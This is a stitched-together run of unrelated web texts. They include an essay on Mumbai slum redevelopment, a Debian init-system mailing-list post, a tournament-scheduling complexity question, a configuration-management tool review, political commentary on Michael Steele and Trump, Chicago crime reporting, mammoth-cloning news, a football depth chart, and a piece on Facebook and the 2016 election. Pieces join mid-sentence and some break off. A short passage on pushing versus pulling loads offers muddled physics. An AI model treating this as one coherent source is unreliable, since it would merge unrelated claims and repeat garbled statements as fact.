The architects were less impressed. The group was universally shocked that these filthy buildings, with their dark and dirty hallways and water stains beneath the windows from drying laundry, had been built so recently. In both style and upkeep, they resembled the crumbling 50-year-old slabs that ring former East Bloc cities like Bucharest, Romania, and Ljubljana, Slovenia. In theory, one of the benefits of legalizing and formalizing the slum is to get slum dwellers to pay for the electricity they were formerly stealing from the city and connect them to the municipal water system. But because the policy calls for rehousing the poor without doing anything to raise their incomes, many end up unable to pay for utilities or contribute to the upkeep of the buildings through residents’ association dues. And the authorities lack leverage to get residents to pay their dues even when they can; this is a system that couldn’t evict the tenants when they were brazen squatters.
Rehousing apartments and luxury high-rises in Mumbai
Courtesy of Daniel Brook
As we toured the lone snippet of shantytown that had yet to be transformed into rehousing slabs, one architect noted that for all the poverty of its conditions, with only makeshift electricity connections and no running water, the village-like settlement that clung to the hillside reflected the organic urbanism humans built for centuries before being upended by the high modernist dream of housing people more “efficiently” in boxes. As I chatted with him, careful to avoid stepping into the development’s open sewer, this sounded like a sentimentalization of poverty. But when I later spoke with Mumbai urbanist and author Naresh Fernandes, he noted, “We’re just beginning to stack up the poor in high-rises while Chicago’s just demolished all of its high-rise projects.”
As for de Soto’s larger theory about the benefits of giving the poor title to the land on which they’ve previously squatted, the test results have yet to come back, as the slum redevelopment regulations don’t permit rehoused slum dwellers to sell their apartments until they’ve lived in them for 10 years. At that point, residents will face a choice of whether to part with their centrally located apartment and purchase a larger one farther from the center of the city or perhaps use the apartment as collateral to take out a small business loan. Even if the program ultimately vindicates de Soto, there is a limited universe of cities in India or elsewhere in the developing world where such projects could be built. The program is predicated upon the fact that Mumbai is a global financial and entertainment hub built on an island where, for all its poverty and problems, the land is worth billions. For the numbers to add up, the high-end developments need to be high-end enough to pay for the low-end rehousing apartments. This approach wouldn’t work in second-tier Indian cities like Nagpur or in cities in less economically dynamic developing countries like, say, Managua, Nicaragua.
At the Atria Mall, a slum redevelopment where the developer has opted to build upscale retail, twin dealerships for Rolls Royce sedans and Ducati motorbikes greet entering shoppers. Inside, stores for global brands including Swatch and Samsonite share air-conditioned space with local boutiques, among them a jewelry shop called Bling. Behind the building, a high wall plastered with billboards for upscale watches and other luxury goods obscures the telltale water-stained high-rises. I slipped through a gateway to find piles of garbage swarming with flies and lying against the backside of the wall; despite the city’s far-reaching slum redevelopment policy, it has yet to build a comprehensive sanitation system. The sewage stench called into question the quality of the municipal wastewater system to which the city aspires to connect its reconstituted slums.
Does the slum redevelopment program actually solve the city’s problems, or does it just hide them behind walls plastered with ads for luxury goods? When I told one of the city’s leading urbanists that I was heading to the Atria Mall, which she knew well from shopping, she looked puzzled. “Atria’s a slum redevelopment? I had no idea.”But, if that is true why do we prefer to push a car when it is out of gas in the middle of the road? Why do we prefer to push a lawn mower or piece of furniture, when we know that it will be easier to pull? Some may say that pulling a load on wheels may have a potential to run you over and others say that pulling will restrict your vision of path to be followed.
The truth is that the aerodynamics of our body prefers the push posture as the component of self weight (WSinѲ) will act as an aid to the applied force by acting in the same direction. Whereas in the pull posture, our body weight will act against the applied force compelling the body to bend forward until the applied force is below the horizontal line.Bug#727708: init system discussion status
To: Ian Jackson <ijackson@chiark.greenend.org.uk>, 727708@bugs.debian.org
Subject: Bug#727708: init system discussion status
From: Keith Packard <keithp@keithp.com>
Date: Thu, 16 Jan 2014 09:59:14 -0800
Message-id: <86ob3b24gd.fsf@miki.keithp.com>
Reply-to: Keith Packard <keithp@keithp.com>, 727708@bugs.debian.org
In-reply-to: <21189.27847.402838.833211@chiark.greenend.org.uk>
References: <21189.27847.402838.833211@chiark.greenend.org.uk>
Ian Jackson <ijackson@chiark.greenend.org.uk> writes: > Andreas, Bdale, Don, Keith: please let us know what you're thinking, > and what more information/discussion would be useful. As the newest TC member, I hope to emulate my learned colleagues and try to keep the discussion moving in a positive direction. First off, my personal interest and experience with init has been limited; starting off my Unix life doing system administration on a PDP-11 running V7 and then 2.7 BSD, and then rapidly escaping into desktop system software development has never made me comfortable with our current sysvinit-based systems. I suspect I've spent more time in the last six months exploring this space than I did in the previous 32 years of Unix experience... As with any core system component, I believe we need to find a solution which best meets the following goals: 1) Technical excellence. 2) Support for the whole Debian community. 3) Sharing with other Linux communities. Sometimes it is possible to find a single solution which is obviously the best in all of these areas, but in this case, we will need to compromise -- none of the proposed solutions ranks number one in all three areas. Because of the central nature of pid 1, and influenced by experiences like that expressed by Marc Merlin, I believe that Debian will need to support multiple init systems going forward, even on Linux. However, on Linux, I believe that the vast majority of Debian users would be best served by encouraging them to use systemd by making that the default. systemd is being developed by a broad cross-distribution community who are solving long-standing technical issues with how subsystems are managed within the Linux environment. Yes, there are technical issues with using systemd in a Debian environment, but I don't see any of them as significant blockers, and only by contributing our expertise can we expect them to be resolved in the best way. In contrast, upstart has a developer community limited to Canonical employees and others who are able and willing to sign the onerous CLA associated with that software. I believe as a result, upstart development has flagged and now lags far behind systemd in several key areas. I would like to encourage the OpenRC community to continue working on their most excellent system though; I feel like it has a great place as a simpler and more portable system for use in environments like that described by Marc Merlin in his LCA talk discussed here recently, as well as in non-Linux environments. Thanks to Ian, Russ and Bdale for offering their opinions on this matter, it's certainly helped focus my thoughts on the one or two key points that matter most to me. And, thanks to Steve for creating a couple of virtual hosts for me to play with both upstart and systemd. -- keith.packard@intel.com
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Follow-Ups : Bug#727708: init system discussion status From: Ian Jackson <ijackson@chiark.greenend.org.uk>
:$\begingroup$
Here's a problem in computational social choice which is not known to be in P, and may or may not be NP-complete.
Agenda control for balanced single-elimination tournaments:
Given: tournament graph $T$ on $n=2^k$ nodes, node $a$
Question: does there exist a permutation of the nodes (a bracket) so that a is the winner of the induced single-elimination tournament?
Given a permutation $P_k$ on $2^k$ nodes of $V$ and a tournament graph $T$ on $V$, one can obtain a permutation $P_{k-1}$ on $2^{k-1}$ nodes as follows. For every $i>0$, consider $P_k[2i-1]$ and $P_k[2i]$ and the arc $e$ between them in $T$; let $P_{k-1}[i]=P_k[2i-1]$ if $e=(P_k[2i-1],P_k[2i])$ and $P_{k-1}[i]=P_k[2i]$ otherwise. That is, we match up pairs of nodes according to $P_k$ and use $T$ to decide which nodes (winners) move on to the next round $P_{k-1}$. Hence given a permutation on $2^k$ one can actually define $k$ rounds $P_{k-1},\ldots,P_0$ inductively as above, until the last permutation contains only one node. This defines a (balanced) single-elimination tournament on $2^k$ nodes. The node which remains after all the rounds is the winner of the tournament.
Agenda control for balanced single-elimination tournaments (graph formulation):
Given: tournament graph $T$ on $n=2^k$ nodes, node $a$
Question: does $T$ contain a (spanning) binomial arborescence on $2^k$ nodes rooted at $a$?
A binomial arborescence on $2^k$ nodes rooted at a node $x$ is defined recursively as $a$ binomial arborescence on $2^{k-1}$ nodes rooted at $x$ and a binomial arborescence on $2^{k-1}$ nodes rooted at a different node $y$ and an arc from $x$ to $y$. (If $k=0$, a binomial arborescence is just the root.) The spanning binomial arborescences in a tournament graph capture exactly the single-elimination tournaments which can be played, given the match outcome information in the tournament graph.
Some references:The proliferation of virtualization coupled with the increasing power of industry-standard servers and the availability of cloud computing has led to a significant uptick in the number of servers that need to be managed within and without an organization. Where we once made do with racks of physical servers that we could access in the data center down the hall, we now have to manage many more servers that could be spread all over the globe.
This is where data center orchestration and configuration management tools come into play. In many cases, we're managing groups of identical servers, running identical applications and services. They're deployed on virtualization frameworks within the organization, or they're running as cloud or hosted instances in remote data centers. In some cases, we may be talking about large installations that exist only to support very large applications or large installations that support myriad smaller services. In either case, the ability to wave a wand and cause them all to bend to the will of the admin cannot be discounted. It's the only way to manage these large and growing infrastructures.
[ The InfoWorld review: Chef 12 fires up devops. | Cut to the key news in technology trends and IT breakthroughs with the InfoWorld Daily newsletter, our summary of the top tech happenings. ]
Puppet, Chef, Ansible, and Salt were all built with that very goal in mind: to make it much easier to configure and maintain dozens, hundreds, or even thousands of servers. That's not to say that smaller shops won't benefit from these tools, as automation and orchestration generally make life easier in an infrastructure of any size.
I looked at each of these four tools in depth, explored their design and function, and determined that, while some scored higher than others, there's a place for each to fit in, depending on the goals of the deployment. Here, I summarize my findings.
Puppet Enterprise
Puppet arguably enjoys the biggest mind share of the four. It's the most complete in terms of available actions, modules, and user interfaces. Puppet represents the whole picture of data center orchestration, encompassing just about every operating system and offering deep tools for the main OSes. Initial setup is relatively simple, requiring the installation of a master server and client agents on each system that is to be managed.
From there, the CLI (command-line interface) is straightforward, allowing module downloads and installation via the puppet command. Then, changes to the configuration files are required to tailor the module for the required task, and the clients that should receive the instructions will do so when they check in with the master or via a push that will trigger the modifications immediately.
There are also modules that can provision and configure cloud server instances and virtual server instances. All modules and configurations are built with a Puppet-specific language based on Ruby, or Ruby itself, and thus will require programmatic expertise in addition to system administration skills.In politics, the Friday before a long weekend is known as a “trash day.” Politicians deliberately wait to put out bad news on a trash day because, the theory goes, so few people are paying attention. Today Michael Steele, the Republican Party chairman, is testing that hypothesis. He’s in trouble again for his remarks, this time for his suggestion that Afghanistan was “a war of Obama’s choosing” and was “not something the United States had actively prosecuted or wanted to engage in.” In response, Bill Kristol, the editor of the Weekly Standard, has called for Steele to step down. Saturday, Liz Cheney, chairwoman of Keep America Safe, joined him in calling for Steele to resign.
Steele’s remarks, made at a Connecticut fundraiser for congressional candidates, were surreptitiously recorded by a progressive activist and posted on YouTube. Steele said President Obama was obligated to pursue the war in Afghanistan because during the campaign against John McCain, he demonized the Bush administration’s handling of Iraq, which meant when he took office he had to make good on his boasts. “Well, if he is such a student of history,” said Steele, “has he not understood that you know that’s the one thing you don’t do, is engage in a land war in Afghanistan?” Steele also said he found the recent ouster of Gen. Stanley McChrystal “comical” because it reflected the military’s distrust in Obama’s strategy.
Obviously as a factual matter Steele is incorrect. George Bush started the war in Afghanistan. (This he should know since he attacked John Kerry for not adequately funding the war at the 2004 GOP convention.) But there is also a matter of opinion here, and that’s what’s getting Steele in even more trouble. By suggesting a land war in Afghanistan is dumb, Steele is putting himself in the minority of his party, which has been largely supportive of the conflict. Just this week, Senate Republicans voted unanimously to approve Gen. David Petraeus to replace McChrystal and prosecute that war. Indeed, most Republicans support an extension of the conflict, asking the president to reconsider his July 2011 date for the beginning of a troop withdrawal.
Democratic Party operatives said Steele’s statement put him “at odds with about 100 percent of the Republican Party.” Kristol added: “At a time when Gen. Petraeus has just taken over command, when Republicans in Congress are pushing for a clean war funding resolution, when Republicans around the country are doing their best to rally their fellow citizens behind the mission, your comment is more than an embarrassment. It’s an affront, both to the honor of the Republican Party and to the commitment of the soldiers fighting to accomplish the mission they’ve been asked to take on by our elected leaders.”
This is the latest in a string of GOP gaffes and minigaffes over the last three weeks that Democrats are trying to exploit. Two weeks ago, Rep. Joe Barton, the ranking Republican on the energy and commerce committee, apologized to BP. Earlier this week, Minority Leader John Boehner picked a bad metaphor in attacking the White House-backed Wall Street reform. He said the bill was like “killing an ant with a nuclear weapon,” causing Democrats to make excited claims that Boehner believed in his heart that the economic collapse was as insignificant as an ant. (Boehner’s spokesman—coincidentally named Michael Steel—later clarified that his boss was “not minimizing the crisis America faced.”)
Obama used both examples in a speech Wednesday arguing that the Republican Party is out of touch. Steele contributes to that storyline and adds to a potentially more powerful one: These three men aren’t GOP back-benchers or conservative talk show hosts, Democrats argue. They’re the leaders of the party—the kind of men who would be in power if the Republicans take control of Congress in November.
The White House and Democratic officials were anxious to highlight Steele’s remarks Friday for another reason. It helped obscure jobs data that showed the economy limping along. Though the economy produced 83,000 private sector jobs last month, the economy lost 125,000 jobs overall, mostly because of fewer Census jobs. That was the first decline in six months. (As Ben Smith of Politico noted, by midday the Democratic National Committee had sent out 26 emails about Steele and only one about jobs.)
Of course, there is always a danger of making too much of Steele’s remarks. In fact, if there’s any real fallout from this latest gaffe, it will upend one of Washington’s most durable propositions: that Michael Steele can say or do anything and still keep his job. He offended talk show host Rush Limbaugh, called abortion an “individual choice” though he had previously said he was pro-life, said Republicans probably wouldn’t win back the House, and has been criticized for excessive spending. (And then there are the intern photos.)
Still, he has been able to keep his post because—while there have been calls for his resignation before—it is very hard to remove him if he doesn’t want to go. Firing him would require a two-thirds vote of the 168 voting RNC members. His term is up in January anyway, and ousting him before then would require a messy effort to convince those who voted for him before to remove him early. That would be a protracted and public fiasco just as Republicans should be focusing on an election that still looks good for their candidates.
In response to the flap, Steele issued a statement supporting Obama’s troop increase, Gen. Petraeus and calling for success in Afghanistan. RNC spokesman Doug Heye also issued a statement that gave no suggestion Steele was backing off, saying that Steele supported the war but remains critical of Obama’s inability to articulate the mission. Advice on the articulate presentation of ideas is also advice Steele might want to take himself.
Become a fan of Slate and John Dickerson on Facebook. Follow us on Twitter.Let's just call it the grand slam of weddings.
According to media reports, tennis star Serena Williams and Reddit co-founder Alexis Ohanian will be in the city for their wedding. Possible wedding guests include Kris Jenner, Beyonce, Jay-Z and many other big names, according to a report from People.com, and are expected in the city as early as Wednesday.
The report said a possible location for the ceremony, expected to be held Thursday, is at the Contemporary Arts Center on Camp Street.
Williams, 36, and Ohanian, 34, were spotted in New Orleans in November, at which point they were scouting locations, according to a report from The Daily Mail. The report said the pair spent a day in The Big Easy with a wedding planner at Meril, owned by famed chef Emeril Lagasse, in the warehouse district Mlooking at arrangements and prospective venues.
Williams has been away from tennis since the 2017 Australian Open for the birth of the pair's daughter. Alexis Ohanian Jr. was born on Sept. 1.
Williams has said she will return to tennis at the Australian Open in 2018.Sometime last year I started exploring the world of film photography. I really enjoyed the slower, more deliberate pace of shooting film. No longer could I burst fire a sequence of 10 shots, and then select the best one afterward. No longer could I instantly see the shot I just took, and decide whether to take another. In fact, there are plenty more limitations that come with shooting film, both in the still and movie varieties. As it turns out though, these same limitations are part of the reason shooting film is both so exciting and challenging.
There’s a certain feeling or nostalgia that film evokes, and I feel that’s especially true with Super 8mm. While it’s relatively low in quality, it’s high in style, and that’s what counts. If you really think about it, any media, whether music, photography, or film, isn’t so much about what you’re seeing and hearing, but rather what you’re feeling.
Mark Matthews echoes my sentiments: “We have aimed to capture the essence of riding and create the catalyst that reminds us about the fun and relaxed vibe mountain biking provides. Logging banger riding shots and pushing my riding wasn’t exactly a goal of mine for this project – and it also wasn’t really an option. Our total inventory consisted of one Canon 310XL Super 8 mm camera and two Kodak Ektachrome 100D film cartridges. Almost every single riding clip got used in the final edit (meaning everything was shot first try). The outcome of these shots was a big mystery as well, how each clip turned out was to be determined.”
When I approached Mark with the unique idea of shooting an edit in Super 8mm, he was immediately onboard. However, it wasn’t until we started looking at old Super 8 surfing and skateboarding films that we really understood how our edit would look and feel. There was something about the film footage we were watching that we had never seen in mountain biking. I figure mountain biking is such a young sport that it missed out on the era where people shot with amateur film. So in making this edit Mark and I hoped to capture the fun, carefree feeling of a grainy old surf film, or ski film, or skate film…. except in this case it would be something for our own community, something for all the riders out there to appreciate.
In September, we began our shooting this film – often on Saturdays. It quickly became apparent that our biggest challenge would be making the most of our limited film supply. We had two 50′ cartridges of Kodak Ektachrome, which would each yield approximately 3 minutes of footage. It was both stressful and exciting trying to make every shot count.
Mark would attempt to get tricks and riding dialed first try, and I would do my best to not only capture them, but limit the amount of film wasted on the lead-in and run-out of his lines. It was a very foreign feeling to have shot some amazing tricks, yet not be able to play them back immediately and check how they looked. Did I frame it right? Was it properly exposed? Was it in focus? Heck, I wasn’t even sure the Canon 310XL I was using worked, aside from the fact that you could hear the motor running. It would be weeks before we could find out. When we did finally exhaust the last of the Super 8 film it was humbling |
worked on press freedom issues with the World Association of Newspapers and the International Center for Journalists.
Donald Trump has a well-known low regard for Mexico and Mexicans. He has accused the country of sending drug dealers and rapists as immigrants to the United States and has vowed to build a “beautiful wall” on the border.
Trump has made himself almost as unpopular in Mexico as Mexico is in his talk on the campaign trail, and politician after politician south of the border have taken advantage of the public outrage against him to slam him. But the Republican candidate, who won Tuesday night’s Arizona primary partly because of his rhetoric about the U.S.-Mexico border, might be alarmed to learn he has a lot in common with his counterparts here: Trump’s style of politics has a close kinship to the one practiced in Mexico. They’re practically cousins.
For instance, the controversy over Trump’s refusal to release his tax returns could have been taken directly from coverage of Mexican politics. When asked, the GOP front-runner said he would do so “at some point, probably.” Trump was not only breaking with a long-established practice of transparency that other countries have always admired in the United States. The timing was eerie, too, because at the same time, a debate was going on in Mexico about the “3 of 3” initiative launched by civic organizations to push for a law that will force public officials and candidates to release information on their taxes, assets and potential conflicts of interest.
Fierce political resistance to subjecting public officials to such scrutiny is evident. In the year since the initiative was started by inviting elected officials to release their financial reports voluntarily, these are the results: No member of President Enrique Peña Nieto’s cabinet has released the information. Neither has Peña Nieto. Only a small fraction of most other elected officials have. Mexico’s political system simply does not favor transparency very much. This has been reinforced by the reaction in some quarters to the proposed law. Peña Nieto’s government has offered an alternative bill that does not sanction conflicts of interest or graft and does not require officials to disclose their financial information.
After years of other countries looking to the United States for cues on transparency and fighting corruption, now it turns out that one of the front-runners for the White House resembles one of those politicians south of the border who fight tooth-and-nail against any law aimed at putting their financial situation under scrutiny.
After the controversy erupted, Mitt Romney had a reasonable warning about Trump for Republican voters: His financial records could contain a “bombshell” that might hurt the GOP in the fall.
This was a warning that could also have applied in Mexico. In 2012 when Peña Nieto was a candidate, he did not disclose that his wife was buying a house from a company that had received public works contracts from Mexico state when he was governor. That would have saved him the embarrassment, two years after taking office, of seeing the whole affair revealed by investigative journalists. Now, Peña Nieto’s “white house” has become a symbol for corruption and conflict of interest in Mexico.
[Being a journalist in Mexico is getting even more dangerous]
A lack of transparency is not the only feature the likely Republican nominee shares with his counterparts in Mexican politics, who are as notorious as he is bluster and bravado. From his rhetoric about protests at his rallies, Trump seems as if he would have felt very much at ease in the Mexican political scene circa 1960, the pinnacle of the authoritarian rule by the Institutional Revolutionary Party (PRI), when the practice of “roughing up” protesters — as Trump puts it — was very common. Workers, students and peasants who dared protest against the government were routinely beaten.
The author Gabriel Zaid has written about an episode in 1959 when then-President Adolfo López Mateos was about to give his first “state of the union” address to Congress. Word had reached the president that one of the few opposition legislators at the time was going to stage a protest in the middle of the speech. López Mateos called PRI representative José Ortiz Ávila and told him to prevent it. Before the president began to speak, Ortiz Ávila warned the would-be protestor not to try anything and reinforced the message by sitting next to him and aiming a gun at his colleague from under his coat during the speech. Later, López Mateos commended Ortiz Ávila and told him that politics should be done “with a lot of brains but also a lot of balls.”
This intolerance for dissent has survived to this day in Mexico. A Trump rally where protesters get “roughed up” is no different than, say, a rally in the state of Jalisco in 2012, where sympathizers of PRI gubernatorial candidate Aristóteles Sandoval beat up protestors. Sandoval is now the governor of Jalisco. Or the case of Veracruz governor, Javier Duarte, whose bodyguards once beat up a photographer who was trying to get some pictures at an event. In fact, public officials and members of political parties were responsible for about half of the attacks against journalists in 2015, according to a report released last week by Article19, an international nonprofit group that advocates for journalistic freedom.
It is worth recalling that one of Trump’s earlier clashes with the media was with a Mexican-born journalist, Univision’s Jorge Ramos, who was evicted from a news conference in Iowa by one of the candidate’s bodyguards.
In the following months, Trump kept attacking and insulting journalists as if he were living south of his proposed “beautiful wall” on the U.S.-Mexico border.
Likewise, intolerance for minorities is a hallmark of many political systems, but Trump has taken it to a level seen for many years in Mexico, both with his rhetoric aimed here and with his call to ban Muslim immigrants. In Mexico, though, the nationalist spirit manifests itself differently: During its decades in power, PRI leaders routinely used the United States as a convenient enemy. One of the arguments made against the conservative National Action Party was that if it ever came to power, it would hand over the country to Uncle Sam and the Catholic Church.
So if Trump does become president next year, he isn’t likely to find Mexican politicians eager to pay for his border wall. But he may discover that he gets along just fine with them anyway.On August 26th, at 3:30 in the afternoon, Nykea Aldridge was pushing her month-old daughter in a baby stroller in a neighborhood on Chicago’s South Side when two men began shooting at a man getting out of a car. Some of their bullets missed their target and hit Aldridge in the arm and in the head. Aldridge, who was thirty-two years old and a mother of four, had been walking from a school where she had just registered her older children. She died forty-five minutes later in the hospital. Two things made Aldridge’s death different from most of the five hundred and nine fatal shootings that have occurred so far this year in Chicago: it received national attention because Aldridge’s cousin is the basketball star Dwyane Wade, and within forty-eight hours the police announced that they had arrested two suspects—two brothers—for the murder.
It's the latter difference that may help to make sense of the wave of violence that has overtaken a large swath of the city. While Chicago mourned Aldridge’s death, many also asked: If the police could make an arrest in her murder so quickly, why had so many other murders been left without resolution?
This week, Mayor Rahm Emanuel is scheduled to give a major address on the city’s violence. Over the years, the police have tried various tactics to diminish violence and murder, including community policing, targeting high-crime areas called “hot spots,” starting specialized anti-gang units, and, most recently, employing algorithms to predict who is most likely to pick up a gun and shoot someone. Nothing has seemed to work. In the first eight months of this year, murders have been up an unprecedented fifty per cent. The situation has become so severe that, earlier this month, one alderman proposed that all police be required to carry military-quality first-aid gear. But one issue is rarely raised: year after year, the vast majority of murders and non-fatal shootings in Chicago go unsolved. Last year, the police charged individuals in just twenty-six per cent of all murders. Of the nearly three thousand non-fatal shootings, only ten per cent of the assailants were charged, which means that you have a pretty good chance of shooting someone in Chicago and getting away with it.
This failure to find and charge perpetrators could be contributing indirectly to violence. A case is considered cleared when someone has been identified and charged, or if the suspect dies before charges have been filed. Chicago’s homicide-clearance rate is less than half the national average of sixty-four per cent. Thomas Hargrove, a former newspaper reporter who now runs the Murder Accountability Project, an organization that examines murder-clearance rates, said that there is a clear correlation between catching criminals and the murder rate itself. In cities where the clearance rate is better than average, the murder rate is 9.6 per hundred thousand. Among cities where the clearance rate is lower than average, the murder rate is nearly twice that. “If you allow murders to go unsolved, it all goes to hell,” he said. In 2015, Chicago’s murder rate was 17.8 per hundred thousand.
The Chicago Police Department blames the low clearance rate principally on the lack of coöperation from witnesses. At a press conference announcing the arrests in Aldridge’s murder, the police superintendent Eddie Johnson drew attention to this belief when he said, “You know why we captured them right away? Because the community helped us with it.”
While it’s true that many people in the city’s mostly poor African-American neighborhoods are reluctant to coöperate with the police, the reasons are complicated. In reporting a book about the city’s violence, I’ve come to believe the so-called no-snitch culture is misunderstood. Most victims and witnesses stay quiet because they’re afraid of retaliation by friends of the shooter, not because of some unwritten code of the streets. One woman I interviewed has a job supporting victims who have been asked to testify in criminal cases, and yet when her teen-age son was shot five times she urged him not to work with the police. She worried that he’d be shot again if he did. “Sometimes,” she told me, “I go home feeling guilty” for urging victims to testify.
The fear is well founded. I came to know the family of Ramaine Hill, a young man who agreed to identify the assailant who shot him—and to testify in court. His willingness to talk to the police helped resolve the case; the shooter pleaded guilty and was sentenced to fifteen years in prison. In the course of the next year, however, Ramaine was pressured and threatened so that he would reverse his testimony. On September 1, 2013, as he walked through a public park on his way to work, at a supermarket, someone walked up and shot him in the head. There were witnesses to the murder, but, three years later, no one has been willing to step forward. He was willing to testify, Ramaine's aunt, Joyce Taybron, who raised him, told me, “and look where he’s at. He got killed.” His murderer has never been charged.
The inability of the police to solve crimes, coupled with a spate of incidents caught on video in which police are seen shooting unarmed individuals, has hardened what many African-Americans already believed: that justice is hard to come by. For some, distrust has turned to contempt. On the same day that Aldridge was shot to death, police responded to a shooting of a twenty-two-year-old man on a street in Englewood, a neighborhood on the city’s South Side. As they secured the area with yellow police tape, they were confronted by a dozen or so young men. People often get agitated at crime scenes, but these young men became belligerent, taunting and swearing at the police. They seemed defiant, waving cell phones in the faces of seven uniformed officers. “Get the fuck off my block,” one of the young men yelled. Another sneered at a black officer: “You’re a traitor. You’re a traitor. You’re bogus as hell.” Nearby, someone shot a gun three times, and as officers ran in the direction of the gunfire, one young man yelled, “Run, bitch, run.” The scene was described and filmed by the Chicago Tribune. At one point, one of the young men threw a pink cupcake on the ground and dared an officer to “eat it.” In the end, the police arrested the twenty-two-year-old man who had been shot in the ankle, and charged him with attempted first-degree murder. The police allege he’d been in a firefight. The other shooter, whom the police have not yet identified, has not been caught.
The police department has acknowledged the need to repair its relationship with the African-American and Latino communities, but its efforts have felt clumsy at times, and sometimes dismissive of the very people they’re trying to reach. In recent years, the department has tried to pierce the gangs by employing something it refer to as “call-ins.” These call-ins have two components: they let people who have been in trouble with the law know that if someone was killed in their community, the police would come after their entire gang; and they offer help finding a job. I attended one of these events, which was held on the second floor of a church building, and saw young men just out of prison, their heads held low, berated by police officers and prosecutors for their past behavior. The part where they were supposed to get help finding a job seemed an afterthought, and only a couple of the men stayed to meet the representative from a local social-services agency. The experience had been humiliating and they were eager to move on.File picture shows giant bronze sculptures of mammoths in the Siberian city of Khanty-Mansiysk. Russian and South Korean scientists have signed a deal on joint research intended to recreate a woolly mammoth, an animal which last walked the earth some 10,000 years ago. Russian and South Korean scientists have signed a deal on joint research intended to recreate a woolly mammoth, an animal which last walked the earth some 10,000 years ago.
The deal was signed by Vasily Vasiliev, vice rector of North-Eastern Federal University of the Sakha Republic, and controversial cloning pioneer Hwang Woo-Suk of South Korea's Sooam Biotech Research Foundation, on Tuesday.
Hwang was a national hero until some of his research into creating human stem cells was found in 2006 to have been faked. But his work in creating Snuppy, the world's first cloned dog, in 2005, has been verified by experts.
Stem cell scientists are now setting their sights on the extinct woolly mammoth, after global warming thawed Siberia's permafrost and uncovered remains of the animal.
South Korean scientist Hwang Woo-Suk (L) and Vasily Vasiliev (R), vice director of North-Eastern Federal University of Russia's Sakha Republic, exchange agreements during a signing ceremony on joint research at Hwang's office in Seoul. The research collaboration agreement will help Russian and S.Korean scientists to recreate a woolly mammoth which last walked the earth some 10,000 years ago.
Sooam said it would launch research this year if the Russian university can ship the remains. The Beijing Genomics Institute will also take part in the project.
The South Korean foundation said it would transfer technology to the Russian university, which has already been involved in joint research with Japanese scientists to bring a mammoth back to life.
"The first and hardest mission is to restore mammoth cells," another Sooam researcher, Hwang In-Sung, told AFP. His colleagues would join Russian scientists in trying to find well-preserved tissue with an undamaged gene.
By replacing the nuclei of egg cells from an elephant with those taken from the mammoth's somatic cells, embryos with mammoth DNA could be produced and planted into elephant wombs for delivery, he said.
Sooam will use an Indian elephant for its somatic cell nucleus transfer. The somatic cells are body cells, such as those of internal organs, skin, bones and blood.
"This will be a really tough job, but we believe it is possible because our institute is good at cloning animals," Hwang In-Sung said.
South Korean experts have previously cloned animals including a cow, a cat, dogs, a pig and a wolf.
Last October Hwang Woo-Suk unveiled eight cloned coyotes in a project sponsored by a provincial government.
Explore further: Disgraced Korean scientist unveils cloned coyotesDAVIE — Rookie Raekwon McMillan is a starter in Miami’s base defense, according to a depth chart released by the team Monday morning.
The Dolphins open the preseason Thursday night at home against Atlanta.
And no, Jay Cutler is not yet on Miami’s depth chart.
Other interesting observations, however, include:
• Leonte Carroo, Drew Morgan and Jakeem Grant are the second-team wide receivers. Morgan is listed as the second slot receiver, behind Jarvis Landry, which is promising for Morgan.
• Sam Young is second-team offensive tackle, behind Laremy Tunsil. Young can also play right tackle. Jesse Davis is listed as second-team right tackle.
• Brandon Doughty is third-team quarterback, ahead of David Fales. Neither has stood out at camp.
• Davon Godchaux is second-team defensive tackle, behind Jordan Phillips, even though Godchaux has been starting ahead of Phillips in practice.
• Byron Maxwell and Xavien Howard are the starting cornerbacks, with Bobby McCain and Tony Lippett next followed by Alterraun Verner and Lafayette Pitts and then Walt Aikens and Codrea Tankersley.
• Drew Morgan is the third-team punt returner, behind Jakeem Grant and Kenyan Drake.
• Damien Williams is Miami’s second-team running back and Kenyan Drake is the third-teamer.
Miami Dolphins’ Jay Cutler must be more than a mercenary
Jay Cutler agrees to join Miami Dolphins
Miami Dolphins’ Jordan Phillips: ‘Ask the coaches’ why I’m benched
Miami Dolphins: Matt Moore peppered with Jay Cutler questions
Get Dolphins stories right to your Facebook by liking this pageThroughout this year’s presidential campaign, journalists have focused, correctly, on the power of Facebook to shape, distort, and ultimately control the news and information that inform and educate voters. They’ve written dozens of stories about the proliferating number of anonymous, low-rent websites that publish bombastic and clearly inaccurate stories designed to spread throughout Facebook’s platform as quickly as possible. Because so many of those stories were so heavily slanted toward the Republican nominee, some of those very same journalists are now beginning to blame Facebook, rather than actual voters, for yesterday’s earth-shaking election of Donald Trump.
“Americans never honestly saw [Trump] because Facebook prioritizes engagement over truth,” wrote Atlantic editor James Hamblin. The site allowed “more than 200 million active North American users to dwell in a fever swamp of misinformation and ridiculous falsehood,” said Deadspin editor Alex Pareene. “For all [of Facebook’s] wonders... it’s also become a single point of failure for civic information,” argued Nieman Lab’s Joshua Benton.
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The most damning indictment came from New York magazine’s Max Read, in an article titled “Donald Trump Won Because of Facebook”:
It can be clarifying to identify the conditions that allowed access to the highest levels of the political system a man so far outside what was, until recently, the political mainstream that not a single former presidential candidate from his own party would endorse him. In this case, the condition was: Facebook.... The most obvious way in which Facebook enabled a Trump victory has been its inability (or refusal) to address the problem of hoax or fake news.
Pointing to false stories like “Russia Asks CIA: Why Did Hillary Clinton Just Buy $137 Million Worth Of Illegal Arms?” and “WikiLeaks: Clintons Purchase $200 Million Maldives Estate,” Read lays out the case that Facebook’s flattening effect—the way it visually renders content to seem more or less the same—made it unusually difficult, though not impossible, for laypeople to distinguish between articles published by a week-old blog founded by a Macedonian teenager and those published by, say, The New York Times. And that, in turn, made it difficult to sort out fiction from fact. “Many of those stories were lies, or ‘parodies,’” he wrote, “but their appearance and placement in a news feed were no different from those of any publisher with a commitment to, you know, not lying.”
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Taken together, these and other criticisms from the media industry amount to the argument that, if Facebook had taken stronger measures against bullshit pro-Trump, anti-Clinton stories—if the company had decided to care about what its users were reading—we would have had a much higher chance of waking up on Wednesday to President-elect Clinton.
Facebook clearly anticipated scrutiny over its role in the election. As Gizmodo’s Michael Nuñez reported earlier this year, its employees voted in early March to ask CEO Mark Zuckerberg the following question in a weekly Q&A session: “What responsibility does Facebook have to help prevent President Trump in 2017?” And, last month, the Wall Street Journal reported that a group of employees had agitated, unsuccessfully, to remove Trump’s Facebook posts about banning Muslims from the United States. But what accounts for Facebook’s flat-footed response to the growing number of fake stories infecting its users feeds?
